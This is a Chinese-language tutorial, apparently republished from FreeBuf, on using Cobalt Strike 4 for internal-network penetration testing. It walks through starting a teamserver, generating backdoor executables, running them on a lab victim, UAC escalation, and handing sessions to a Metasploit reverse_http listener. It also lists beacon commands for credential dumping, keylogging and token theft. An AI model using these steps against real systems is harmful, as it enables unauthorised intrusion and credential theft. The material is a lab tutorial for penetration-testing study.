内网渗透神器CobaltStrike4简单使用教程 – 作者:ATL安全团队

一、介绍内网渗透的神器工具CobaltStrike

Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，exe、powershell木马生成等。

钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等。

Cobalt Strike 主要用于团队作战，可谓是团队渗透神器，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。

Cobalt Strike 作为一款协同APT工具，针对内网的渗透测试和作为apt的控制终端功能，使其变成众多APT组织的首选。

附CS4下载地址：https://www.nctry.com/1744.html

文件内容如下：

二、启动CobaltStrike

1.启动服务端CobaltStrike

服务端关键文件teamserver与cobaktstrike.jar

打开命令界面，切换到文件夹目录下，输入sudo ./teamserver <host> <password> [/path/to/c2.profile]

1 – 必填参数host 本服务器外网IP/域名

2 – 必填参数password Client GUI连接时需要输入的密码

3 – 可选参数Malleable C2 communication profile 指定C2通信配置文件该功能体现了CS

示例：本机IP：192.168.1.136

2.打开客户端cobaltstrike.jar，配置按照启动服务的配置进行。

点击连接，进入主界面。

三、参数介绍

1.Cobalt Strike

1- 新建链接（可以支持多个服务端）

2- 设置（配置控制台界面）

3- 可视化（展示控制的形式）

4- VPN接口（配置VPN）

5- 监听器（管理监听配置）

6- 脚本管理器（管理脚本，用于管理第三方脚本）

2.视图

1- 应用信息（显示被攻击着的机器的应用信息）

2- 凭证信息（通过hashdump或者猕猴桃抓到的密码都会保存到此处）

3- 文件下载（下载文件）

4- 日志（事件记录）

5- 键盘记录

6- 代理信息

7- 屏幕截图（截取被攻击者的屏幕）

8- 脚本控制台（脚本的命令执行的界面）

9- 目标（显示目标主机）

10- web日志

3.攻击

1- HTML Application （生成恶意的HTA木马文件）

2- MS Office Macro （生成office宏病毒文件）

3- Payload Generator （生成各种语言版本的payload）

4- Windows Executable （生成可执行Payload）

5- Windows Executable(S)（把包含payload,Stageless生成可执行文件(包含多数功能）

1- web服务管理（对开启的web服务进行管理）

2- 克隆网站

3- 文件下载（提供web下载文件）

4- Scripted Web Delivery （提供Web服务，便于下载和执行PowerShell Payload，类似于Metasploit的web_delivery）

5- 签名Applet攻击（启动一个Web服务以提供自签名Java Applet的运行环境）

6- 智能攻击（自动检测Java版本并利用已知的exploits绕过security）

7- 信息搜集（获取系统信息）

4.beacon命令

beacon> help

Beacon Commands

===============

Command                   Description

——-                   ———–

argue                     进程参数欺骗

blockdlls                 阻止子进程加载非Microsoft DLL

browserpivot              注入受害者浏览器进程

bypassuac                 绕过UAC提升权限

cancel                    取消正在进行的下载

cd                        切换目录

checkin                   强制让被控端回连一次

clear                     清除beacon内部的任务队列

connect                   Connect to a Beacon peer over TCP

covertvpn                 部署Covert VPN客户端

cp                        复制文件

dcsync                    从DC中提取密码哈希

desktop                   远程桌面(VNC)

dllinject                 反射DLL注入进程

dllload                   使用LoadLibrary将DLL加载到进程中

download                  下载文件

downloads                 列出正在进行的文件下载

drives                    列出目标盘符

elevate                   使用exp

execute                   在目标上执行程序(无输出)

execute-assembly          在目标上内存中执行本地.NET程序

exit                      终止beacon会话

getprivs                  Enable system privileges on current token

getsystem                 尝试获取SYSTEM权限

getuid                    获取用户ID

hashdump                  转储密码哈希值

help                      帮助

inject                    在注入进程生成会话

jobkill                   结束一个后台任务

jobs                      列出后台任务

kerberos_ccache_use       从ccache文件中导入票据应用于此会话

kerberos_ticket_purge     清除当前会话的票据

kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话

keylogger                 键盘记录

kill                      结束进程

link                      Connect to a Beacon peer over a named pipe

logonpasswords            使用mimikatz转储凭据和哈希值

ls                        列出文件

make_token                创建令牌以传递凭据

mimikatz                  运行mimikatz

mkdir                     创建一个目录

mode dns                  使用DNS A作为通信通道(仅限DNS beacon)

mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)

mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)

mode http                 使用HTTP作为通信通道

mv                        移动文件

net                       net命令

note                      备注

portscan                  进行端口扫描

powerpick                 通过Unmanaged PowerShell执行命令

powershell                通过powershell.exe执行命令

powershell-import         导入powershell脚本

ppid                      Set parent PID for spawned post-ex jobs

ps                        显示进程列表

psexec                    Use a service to spawn a session on a host

psexec_psh                Use PowerShell to spawn a session on a host

psinject                  在特定进程中执行PowerShell命令

pth                       使用Mimikatz进行传递哈希

pwd                       当前目录位置

reg                       Query the registry

rev2self                  恢复原始令牌

rm                        删除文件或文件夹

rportfwd                  端口转发

run                       在目标上执行程序(返回输出)

runas                     以其他用户权限执行程序

runasadmin                在高权限下执行程序

runu                      Execute a program under another PID

screenshot                屏幕截图

setenv                    设置环境变量

shell                     执行cmd命令

shinject                  将shellcode注入进程

shspawn                   启动一个进程并将shellcode注入其中

sleep                     设置睡眠延迟时间

socks                     启动SOCKS4代理

socks stop                停止SOCKS4

spawn                     Spawn a session

spawnas                   Spawn a session as another user

spawnto                   Set executable to spawn processes into

spawnu                    Spawn a session under another PID

ssh                       使用ssh连接远程主机

ssh-key                   使用密钥连接远程主机

steal_token               从进程中窃取令牌

timestomp                 将一个文件的时间戳应用到另一个文件

unlink                    Disconnect from parent Beacon

upload                    上传文件

wdigest                   使用mimikatz转储明文凭据

winrm                     使用WinRM横向渗透

wmi                       使用WMI横向渗透

四、使用Cobalt strike

1.创建监听器

注：cs中提供了8种监听器:

beacon_xx 系列为Cobalt Strike自身，包括 dns、http、https、smb 四种方式的监听器。

foreign系列为外部监听器，通常与MSF或者Armitage联动。

创建好之后会显示监听开始

2.生成后门

点击攻击—-生成后门—Windows Executable

监听器选择我们刚才创建的，根据攻击的系统选择64位还是32位。

保存生成后门的exe文件。

3.连接

将生成的后门程序，上传到受害者的机器上，运行，发现主机上线。

在主机右键，进入beacon，可以进行下一步命令执行操作。

备注：beacon的命令执行功能较少用起来不方便，可以使用Ladon脚本。

Ladon脚本下载地址：https://github.com/k8gege/Ladon

Ladon具体使用方法：https://github.com/k8gege/Aggressor

4.提权

在上线主机右键后，点击提权，选择uac提权。

成功后会出现一个新的主机。之后的操作可以在新的主机进行。

五、与MSF联动

Kali IP：172.16.20.18

受害者机器：172.16.20.20

CS：172.16.20.19

1.在MSF中创建监听器

msf5 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http

payload => windows/meterpreter/reverse_http

msf5 exploit(multi/handler) > set lhost 172.16.20.18

lhost => 172.16.20.18

msf5 exploit(multi/handler) > set lport 3333

lport => 3333

msf5 exploit(multi/handler) > run

注：监听监听kali自身地址。

2.在CS中设置新的监听地址

注意：payload要与msf中的payload要一致。

在控制中右键–增加会话，选择msf的会话。

此时拿到meterpreter。

输入shell，进入主机命令操作。

来源：freebuf.com 2020-11-26 08:44:19 by: ATL安全团队